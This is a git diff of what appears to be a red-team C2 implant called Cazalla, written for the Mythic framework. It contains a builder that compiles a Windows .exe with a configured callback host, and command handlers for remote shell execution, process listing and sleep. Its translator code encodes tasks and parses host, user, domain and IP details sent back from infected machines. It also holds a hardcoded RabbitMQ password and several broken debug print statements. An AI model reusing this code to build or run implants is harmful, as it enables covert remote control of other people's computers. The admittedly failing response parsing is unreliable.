agent_icon_path = agent_path / "agent_functions" / "cazalla.png" - agent_code_path = agent_path / "agent_code" - - build_steps = [ - BuildStep(step_name="Gathering Files", step_description="Creating script payload"), - BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), - BuildStep(step_name="Compiling", step_description="Compiling with mingw"), - ] - - async def build(self) -> BuildResponse: - # this function gets called to create an instance of your payload - resp = BuildResponse(status=BuildStatus.Success) - Config = { - "payload_uuid": self.uuid, - "callback_host": "", - "USER_AGENT": "", - "httpMethod": "POST", - "post_uri": "", - "headers": [], - "callback_port": 80, - "ssl":False, - "proxyEnabled": False, - "proxy_host": "", - "proxy_user": "", - "proxy_pass": "", - } - stdout_err = "" - for c2 in self.c2info: - profile = c2.get_c2profile() - for key, val in c2.get_parameters_dict().items(): - if isinstance(val, dict) and 'enc_key' in val: - stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "") - encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" - else: - Config[key] = val - break - - if "https://" in Config["callback_host"]: - Config["ssl"] = True - - Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") - if Config["proxy_host"] != "": - Config["proxyEnabled"] = True - # create the payload - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Gathering Files", - StepStdout="Found all files for payload", - StepSuccess=True - )) - agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) - copy_tree(str(self.agent_code_path), agent_build_path.name) - - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Applying configuration", - StepStdout="All configuration setting applied", - StepSuccess=True - )) - with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f: - content = f.read() - content = content.replace("%UUID%", Config["payload_uuid"]) - content = content.replace("%HOSTNAME%", Config["callback_host"]) - content = content.replace("%ENDPOINT%", Config["post_uri"]) - if Config["ssl"]: - content = content.replace("%SSL%", "TRUE") - else: - content = content.replace("%SSL%", "FALSE") - content = content.replace("%PORT%", str(Config["callback_port"])) - content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) - content = content.replace("%USERAGENT%", Config["USER_AGENT"]) - content = content.replace("%PROXYURL%", Config["proxy_host"]) - if Config["proxyEnabled"]: - content = content.replace("%PROXYENABLED%", "TRUE") - else: - content = content.replace("%PROXYENABLED%", "FALSE") - f.seek(0) - f.write(content) - f.truncate() - - command = "make -C {} exe".format(agent_build_path.name+"/cazalla") - filename = agent_build_path.name + "/cazalla/build/cazalla.exe" - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE) - - stdout, stderr = await proc.communicate() - print(stdout) - print(stderr) - - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout="Successfuly compiled Ra", - StepSuccess=True - )) - build_msg = "" - resp.payload = open(filename, "rb").read() - - return resp +import pathlib +import tempfile +from mythic_container.PayloadBuilder import * +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +from distutils.dir_util import copy_tree +import asyncio + + +class CazallaAgent(PayloadType): + name = "Cazalla" + file_extension = "exe" + author = "OFSTeam" + supported_os = [SupportedOS.Windows] + wrapper = False + wrapped_payloads = [] + note = """C implant Developed by the Kaseya OFSTeam""" + supports_dynamic_loading = False + c2_profiles = ["http"] + mythic_encrypts = False + translation_container = "cazalla_translator" + build_parameters = [ + BuildParameter( + name="output", + parameter_type=BuildParameterType.ChooseOne, + description="Choose output format", + choices=["exe", "dll", "debug_exe","debug_dll"], + default_value="exe" + ), + ] + agent_path = pathlib.Path(".") / "cazalla" + agent_icon_path = agent_path / "agent_functions" / "cazalla.png" + agent_code_path = agent_path / "agent_code" + + build_steps = [ + BuildStep(step_name="Gathering Files", step_description="Creating script payload"), + BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), + BuildStep(step_name="Compiling", step_description="Compiling with mingw"), + ] + + async def build(self) -> BuildResponse: + # this function gets called to create an instance of your payload + resp = BuildResponse(status=BuildStatus.Success) + Config = { + "payload_uuid": self.uuid, + "callback_host": "", + "USER_AGENT": "", + "httpMethod": "POST", + "post_uri": "", + "headers": [], + "callback_port": 80, + "ssl":False, + "proxyEnabled": False, + "proxy_host": "", + "proxy_user": "", + "proxy_pass": "", + } + stdout_err = "" + for c2 in self.c2info: + profile = c2.get_c2profile() + for key, val in c2.get_parameters_dict().items(): + if isinstance(val, dict) and 'enc_key' in val: + stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "") + encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" + else: + Config[key] = val + break + + if "https://" in Config["callback_host"]: + Config["ssl"] = True + + Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") + if Config["proxy_host"] != "": + Config["proxyEnabled"] = True + # create the payload + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Gathering Files", + StepStdout="Found all files for payload", + StepSuccess=True + )) + agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + copy_tree(str(self.agent_code_path), agent_build_path.name) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Applying configuration", + StepStdout="All configuration setting applied", + StepSuccess=True + )) + with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f: + content = f.read() + content = content.replace("%UUID%", Config["payload_uuid"]) + content = content.replace("%HOSTNAME%", Config["callback_host"]) + content = content.replace("%ENDPOINT%", Config["post_uri"]) + if Config["ssl"]: + content = content.replace("%SSL%", "TRUE") + else: + content = content.replace("%SSL%", "FALSE") + content = content.replace("%PORT%", str(Config["callback_port"])) + content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) + content = content.replace("%USERAGENT%", Config["USER_AGENT"]) + content = content.replace("%PROXYURL%", Config["proxy_host"]) + if Config["proxyEnabled"]: + content = content.replace("%PROXYENABLED%", "TRUE") + else: + content = content.replace("%PROXYENABLED%", "FALSE") + f.seek(0) + f.write(content) + f.truncate() + + command = "make -C {} exe".format(agent_build_path.name+"/cazalla") + filename = agent_build_path.name + "/cazalla/build/cazalla.exe" + proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + + stdout, stderr = await proc.communicate() + print(stdout) + print(stderr) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout="Successfuly compiled Ra", + StepSuccess=True + )) + build_msg = "" + resp.payload = open(filename, "rb").read() + + return resp diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py index c5c65af..ac00b29 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/exit.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -1,38 +1,38 @@ -from mythic_container.MythicCommandBase import * -import json - - -class ExitArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("Este comando no debe tener parametros") - - -class ExitCommand(CommandBase): - cmd = "exit" - needs_admin = False - help_cmd = "exit" - description = "Task para cerrar el proceso del implante" - version = 1 - supported_ui_features = ["callback_table:exit"] - author = "Kaseya OFSTeam" - argument_class = ExitArguments - attackmapping = [] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - type = taskData.args.get_arg("type") - response.DisplayParams = type - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) +from mythic_container.MythicCommandBase import * +import json + + +class ExitArguments(TaskArguments): + + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + if len(self.command_line) > 0: + raise Exception("Este comando no debe tener parametros") + + +class ExitCommand(CommandBase): + cmd = "exit" + needs_admin = False + help_cmd = "exit" + description = "Task para cerrar el proceso del implante" + version = 1 + supported_ui_features = ["callback_table:exit"] + author = "Kaseya OFSTeam" + argument_class = ExitArguments + attackmapping = [] + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + type = taskData.args.get_arg("type") + response.DisplayParams = type + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ps.py b/Payload_Type/cazalla/cazalla/agent_functions/ps.py new file mode 100644 index 0000000..f5a69eb --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/ps.py @@ -0,0 +1,44 @@ +from mythic_container.MythicCommandBase import * +import json + + +class PsArguments(TaskArguments): + + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + if len(self.command_line) > 0: + raise Exception("ps no debe lanzarse con parametros") + + +class PsCommand(CommandBase): + cmd = "ps" + needs_admin = False + help_cmd = "ps" + description = "Lista los procesos del host." + version = 1 + supported_ui_features = ["process_browser:list"] + author = "Kaseya OFSTeam" + argument_class = PsArguments + browser_script = BrowserScript( + script_name="ps", author="Kaseya OFSTeam", for_new_ui=True + ) + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=True + ) + attackmapping = [] + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/shell.py b/Payload_Type/cazalla/cazalla/agent_functions/shell.py index 7bccbc8..9123cd5 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/shell.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/shell.py @@ -1,44 +1,44 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * - - -class ShellArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="command", - type=ParameterType.String, - description="Comando a ejecutar" - ), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise ValueError("Se debe indicar un comando") - self.add_arg("command", self.command_line) - - async def parse_dictionary(self, dictionary_arguments): - self.load_args_from_dictionary(dictionary_arguments) - - -class ShellCommand(CommandBase): - cmd = "shell" - needs_admin = False - help_cmd = "shell {command}" - description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC" - version = 1 - author = "Kaseya OFSTeam" - attackmapping = ["T1059"] - argument_class = ShellArguments - attributes = CommandAttributes( - supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows] - ) - - async def create_tasking(self, task: MythicTask) -> MythicTask: - task.display_params = task.args.get_arg("command") - return task - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class ShellArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="command", + type=ParameterType.String, + description="Comando a ejecutar" + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Se debe indicar un comando") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class ShellCommand(CommandBase): + cmd = "shell" + needs_admin = False + help_cmd = "shell {command}" + description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC" + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1059"] + argument_class = ShellArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows] + ) + + async def create_tasking(self, task: MythicTask) -> MythicTask: + task.display_params = task.args.get_arg("command") + return task + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/sleep.py b/Payload_Type/cazalla/cazalla/agent_functions/sleep.py index 6e9b3b7..e2ffa2c 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/sleep.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/sleep.py @@ -1,83 +1,83 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import logging - -logging.basicConfig(level=logging.INFO) - - -class SleepArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="seconds", - type=ParameterType.Number, - description="Sleep en segundos", - parameter_group_info=[ParameterGroupInfo( - required=True, - ui_position=1 - )] - ), - CommandParameter( - name="jitter", - type=ParameterType.Number, - description="Porcentaje del jitter en segundos", - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=2 - )] - ), - ] - - async def parse_arguments(self): - logging.info(f"parse_arguments : {self.command_line}") - - if len(self.command_line) == 0: - raise ValueError("Must supply a command to run") - self.add_arg("command", self.command_line) - - async def parse_dictionary(self, dictionary_arguments): - logging.info(f"parse_dictionary : {dictionary_arguments}") - - seconds = dictionary_arguments.get("seconds") - jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary - - if seconds is None: - raise ValueError("The 'seconds' key is required in the dictionary.") - if not isinstance(seconds, int) or seconds < 0: - raise ValueError("The 'seconds' value must be a non-negative integer.") - - # Explicitly map parsed dictionary values to parameters - self.add_arg("seconds", seconds) - self.add_arg("jitter", jitter) - - -class SleepCommand(CommandBase): - cmd = "sleep" - needs_admin = False - help_cmd = "sleep [jitter]" - description = "Cambiar el sleep." - version = 1 - author = "Kaseya OFSTeam" - attackmapping = ["T1029"] - argument_class = SleepArguments - attributes = CommandAttributes( - builtin=True, - supported_os=[ SupportedOS.Windows ], - suggested_command=False - ) - - # async def create_tasking(self, task: MythicTask) -> MythicTask: - # task.display_params = task.args.get_arg("command") - # return task - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import logging + +logging.basicConfig(level=logging.INFO) + + +class SleepArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="seconds", + type=ParameterType.Number, + description="Sleep en segundos", + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=1 + )] + ), + CommandParameter( + name="jitter", + type=ParameterType.Number, + description="Porcentaje del jitter en segundos", + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=2 + )] + ), + ] + + async def parse_arguments(self): + logging.info(f"parse_arguments : {self.command_line}") + + if len(self.command_line) == 0: + raise ValueError("Must supply a command to run") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + logging.info(f"parse_dictionary : {dictionary_arguments}") + + seconds = dictionary_arguments.get("seconds") + jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary + + if seconds is None: + raise ValueError("The 'seconds' key is required in the dictionary.") + if not isinstance(seconds, int) or seconds < 0: + raise ValueError("The 'seconds' value must be a non-negative integer.") + + # Explicitly map parsed dictionary values to parameters + self.add_arg("seconds", seconds) + self.add_arg("jitter", jitter) + + +class SleepCommand(CommandBase): + cmd = "sleep" + needs_admin = False + help_cmd = "sleep [jitter]" + description = "Cambiar el sleep." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1029"] + argument_class = SleepArguments + attributes = CommandAttributes( + builtin=True, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/browser_scripts/ps.js b/Payload_Type/cazalla/cazalla/browser_scripts/ps.js new file mode 100644 index 0000000..0d1f0ef --- /dev/null +++ b/Payload_Type/cazalla/cazalla/browser_scripts/ps.js @@ -0,0 +1,71 @@ +function(task, responses) { + console.log(task) + console.log("-------------------------------------------------------------------------------------------------------") + console.log(responses) + if (task.status.includes("error")) { + const combined = responses.reduce((prev, cur) => prev + cur, ""); + return { 'plaintext': combined }; + } else if (responses.length > 0) { + // Combine and split the responses into lines + const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== ""); + if (output.length === 0) { + return { 'plaintext': "No process information found." }; + } + + // Prepare the table structure + const formattedResponse = { + headers: [ + { plaintext: "Process Name", type: "string", fillWidth: true }, + { plaintext: "PPID", type: "number", width: 80 }, + { plaintext: "PID", type: "number", width: 80 }, + { plaintext: "Architecture", type: "string", width: 80 }, + { plaintext: "User Account", type: "string", fillWidth: true }, + { plaintext: "Session ID", type: "number", width: 80 } + ], + title: "Process List", + rows: [] + }; + + // Process each line to populate rows + output.forEach(line => { + const parts = line.split("\t"); + // Ensure the array has up to 6 elements, filling missing parts with empty strings + while (parts.length < 6) { + parts.push(""); + } + const [processName, ppid, pid, architecture, userAccount, sessionId] = parts; + + // Add the row, ensuring missing fields are shown as empty cells + formattedResponse.rows.push({ + "Process Name": { + plaintext: processName || "", + cellStyle: {} + }, + "PPID": { + plaintext: ppid || "", + cellStyle: {} + }, + "PID": { + plaintext: pid || "", + cellStyle: {} + }, + "Architecture": { + plaintext: architecture || "", + cellStyle: {} + }, + "User Account": { + plaintext: userAccount || "", + cellStyle: {} + }, + "Session ID": { + plaintext: sessionId || "", + cellStyle: {} + } + }); + }); + + return { table: [formattedResponse] }; + } else { + return { 'plaintext': "No response yet from agent..." }; + } +} \ No newline at end of file diff --git a/Payload_Type/cazalla/main.py b/Payload_Type/cazalla/main.py index aec3d5d..602b4f4 100644 --- a/Payload_Type/cazalla/main.py +++ b/Payload_Type/cazalla/main.py @@ -1,11 +1,11 @@ -#from mywebhook.webhook import * -import mythic_container -import asyncio -import cazalla -#import websocket.mythic.c2_functions.websocket -from translator.translator import * -#from my_logger import logger -#from basic_command_augment import * -#from basic_eventer.my_eventing import * - +#from mywebhook.webhook import * +import mythic_container +import asyncio +import cazalla +#import websocket.mythic.c2_functions.websocket +from translator.translator import * +#from my_logger import logger +#from basic_command_augment import * +#from basic_eventer.my_eventing import * + mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file diff --git a/Payload_Type/cazalla/rabbitmq_config.json b/Payload_Type/cazalla/rabbitmq_config.json index f6748ba..d95eb45 100644 --- a/Payload_Type/cazalla/rabbitmq_config.json +++ b/Payload_Type/cazalla/rabbitmq_config.json @@ -1,6 +1,6 @@ -{ - "rabbitmq_host": "127.0.0.1", - "rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p", - "mythic_server_host": "127.0.0.1", - "debug_level": "debug" +{ + "rabbitmq_host": "127.0.0.1", + "rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p", + "mythic_server_host": "127.0.0.1", + "debug_level": "debug" } \ No newline at end of file diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt index 897dd4b..91a3769 100644 --- a/Payload_Type/cazalla/requirements.txt +++ b/Payload_Type/cazalla/requirements.txt @@ -1,9 +1,9 @@ -aio-pika==9.0.4 -dynaconf==3.1.11 -ujson==5.7.0 -aiohttp==3.8.3 -psutil==5.9.4 -grpcio -grpcio-tools -mythic-container +aio-pika==9.0.4 +dynaconf==3.1.11 +ujson==5.7.0 +aiohttp==3.8.3 +psutil==5.9.4 +grpcio +grpcio-tools +mythic-container pyaml \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index e8fd79c..6540141 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -1,68 +1,76 @@ -import json - - -commands = { - "get_tasking": {"hex_code": 0x00, "input_type": None}, - "checkin": {"hex_code": 0xf1, "input_type": None}, - "post_response": {"hex_code": 0x01, "input_type": None}, - "shell": {"hex_code": 0x54, "input_type": "string"}, - "exit": {"hex_code": 0x08, "input_type":None}, - "sleep": {"hex_code":0x38, "input_type":"int"} -} - - -def responseTasking(tasks): - data = b"" - dataTask = b"" - - dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big") - - for task in tasks: - command_to_run = task["command"] - - if commands[command_to_run]["input_type"] == "string": - data = commands[command_to_run]["hex_code"].to_bytes(1, "big") - data += task["id"].encode() - - if task["parameters"] != "": - parameters = json.loads(task["parameters"]) - data += len(parameters).to_bytes(4,"big") - for param in parameters: - data += len(parameters[param]).to_bytes(4, "big") - data += parameters[param].encode() - else: - data += b"\x00\x00\x00\x00" - - dataTask += len(data).to_bytes(4, "big") + data - - elif commands[command_to_run]["input_type"] == "int": - data = commands[command_to_run]["hex_code"].to_bytes(1, "big") - data += task["id"].encode() - - if task["parameters"] != "": - parameters = json.loads(task["parameters"]) - data += len(parameters).to_bytes(4, "big") - for param in parameters: - data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente - else: - data += b"\x00\x00\x00\x00" - dataTask += len(data).to_bytes(4, "big") + data - - dataToSend = dataHead + dataTask - - return dataToSend - - -def responseCheckin(uuid): - data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01" - return data - -def responsePosting(responses): - data = len(responses).to_bytes(4, "big") - for response in responses: - if response["status"] == "success": - data += b"\x01" - else: - data += b"\x00" - +import json + +commands = { + "get_tasking": {"hex_code": 0x00, "input_type": None}, + "checkin": {"hex_code": 0xf1, "input_type": None}, + "post_response": {"hex_code": 0x01, "input_type": None}, + "shell": {"hex_code": 0x54, "input_type": "string"}, + "exit": {"hex_code": 0x80, "input_type": None}, + "sleep": {"hex_code": 0x38, "input_type": "int"}, + "ps": {"hex_code": 0x15, "input_type": None} +} + +def responseTasking(tasks): + data = b"" + dataTask = b"" + + dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big") + + for task in tasks: + command_to_run = task["command"] + command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big") + + task_id = task["id"].encode() + task_id_bytes = task["id"].encode() + task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes + + if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps" + data = command_code + task_id_serialized + task_size = len(data) + dataTask += task_size.to_bytes(4, "big") + data + + print("input_type: None") + print(dataTask) + + elif commands[command_to_run]["input_type"] == "string": + data = command_code + task_id + if task["parameters"] != "": + parameters = json.loads(task["parameters"]) + data += len(parameters).to_bytes(4,"big") + for param in parameters: + data += len(parameters[param]).to_bytes(4, "big") + data += parameters[param].encode() + else: + data += b"\x00\x00\x00\x00" + + dataTask += len(data).to_bytes(4, "big") + data + + elif commands[command_to_run]["input_type"] == "int": + data = command_code + task_id + if task["parameters"] != "": + parameters = json.loads(task["parameters"]) + data += len(parameters).to_bytes(4, "big") + for param in parameters: + data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente + else: + data += b"\x00\x00\x00\x00" + dataTask += len(data).to_bytes(4, "big") + data + + dataToSend = dataHead + dataTask + print("estamos en el dataToSend\n") + print(dataToSend) + return dataToSend + + +def responseCheckin(uuid): + data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01" + return data + +def responsePosting(responses): + data = len(responses).to_bytes(4, "big") + for response in responses: + if response["status"] == "success": + data += b"\x01" + else: + data += b"\x00" return data \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 900c544..60b0410 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -1,96 +1,112 @@ -from translator.utils import * -import ipaddress - -def checkIn(data): - - # Retrieve UUID - uuid = data[:36] - data = data[36:] - - # Retrieve IPs - numIPs = int.from_bytes(data[0:4]) - data = data[4:] - i = 0 - IPs = [] - while i < numIPs: - ip = data[:4] - data = data[4:] - addr = str(ipaddress.ip_address(ip)) - IPs.append(addr) - i += 1 - - # Retrieve OS - targetOS, data = getBytesWithSize(data) - - # Retrive Architecture - archOS = data[0] - if archOS == 0x64: - archOS = "x64" - elif archOS == 0x86: - archOS = "x86" - else: - archOS = "" - data = data[1:] - - # Retrieve HostName - hostname, data = getBytesWithSize(data) - - # Retrieve Username - username, data = getBytesWithSize(data) - - # Retrieve Domaine - domain, data = getBytesWithSize(data) - - # Retrieve PID - pid = int.from_bytes(data[0:4]) - data = data[4:] - - # Retrieve Process Name - processName, data = getBytesWithSize(data) - - #Retrieve External IP - externalIP, data = getBytesWithSize(data) - - dataJson = { - "action": "checkin", - "ips": IPs, - "os": targetOS.decode('cp850'), - "user": username.decode('cp850'), - "host": hostname.decode('cp850'), - "domain": domain.decode('UTF-16LE'), - "process_name":processName.decode('cp850'), - "pid": pid, - "uuid": uuid.decode('cp850'), - "architecture": archOS , - "externalIP": externalIP.decode('cp850'), - } - - return dataJson - - -def getTasking(data): - numTasks = int.from_bytes(data[0:4]) - dataJson = { "action": "get_tasking", "tasking_size": numTasks } - return dataJson - - -def postResponse(data): - - resTaks = [] - - uuidTask = data[:36] - data = data[36:] - output, data = getBytesWithSize(data) - jsonTask = { - "task_id": uuidTask.decode('cp850'), - "user_output":output.decode('cp850'), - } - - jsonTask["completed"] = True - resTaks.append(jsonTask) - - dataJson = { - "action": "post_response", - "responses": resTaks - } - return dataJson \ No newline at end of file +from translator.utils import * +import ipaddress +import json + +def checkIn(data): + + # Retrieve UUID + uuid = data[:36] + data = data[36:] + + # Retrieve IPs + numIPs = int.from_bytes(data[0:4]) + data = data[4:] + i = 0 + IPs = [] + while i < numIPs: + ip = data[:4] + data = data[4:] + addr = str(ipaddress.ip_address(ip)) + IPs.append(addr) + i += 1 + + # Retrieve OS + targetOS, data = getBytesWithSize(data) + + # Retrive Architecture + archOS = data[0] + if archOS == 0x64: + archOS = "x64" + elif archOS == 0x86: + archOS = "x86" + else: + archOS = "" + data = data[1:] + + # Retrieve HostName + hostname, data = getBytesWithSize(data) + + # Retrieve Username + username, data = getBytesWithSize(data) + + # Retrieve Domaine + domain, data = getBytesWithSize(data) + + # Retrieve PID + pid = int.from_bytes(data[0:4]) + data = data[4:] + + # Retrieve Process Name + processName, data = getBytesWithSize(data) + + #Retrieve External IP + externalIP, data = getBytesWithSize(data) + + dataJson = { + "action": "checkin", + "ips": IPs, + "os": targetOS.decode('cp850'), + "user": username.decode('cp850'), + "host": hostname.decode('cp850'), + "domain": domain.decode('UTF-16LE'), + "process_name":processName.decode('cp850'), + "pid": pid, + "uuid": uuid.decode('cp850'), + "architecture": archOS , + "externalIP": externalIP.decode('cp850'), + } + + return dataJson + + +def getTasking(data): + numTasks = int.from_bytes(data[0:4]) + dataJson = { "action": "get_tasking", "tasking_size": numTasks } + return dataJson + + +def postResponse(data): + print("Tamaño del Base64 recibido: {len(data)} bytes") + + resTaks = [] + uuidTask = data[:36] + data = data[36:] + + output, data = getBytesWithSize(data) + + print("Tamaño después de extraer UUID: {len(data)} bytes") + + try: + decoded_output = output.decode('cp850') + except Exception as e: + print("Fallo al decodificar la salida: {e}") + decoded_output = "[ERROR DECODIFICANDO]" + + jsonTask = { + "task_id": uuidTask.decode('cp850'), + "user_output": decoded_output, + } + + jsonTask["completed"] = True + resTaks.append(jsonTask) + + dataJson = { + "action": "post_response", + "responses": resTaks + } + + print("Respuesta generada: {json.dumps(dataJson, indent=4)}") + + return dataJson + +##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index b2d4d9e..659179f 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -1,52 +1,52 @@ -import json -import base64 -import binascii -import os - -from translator.utils import * 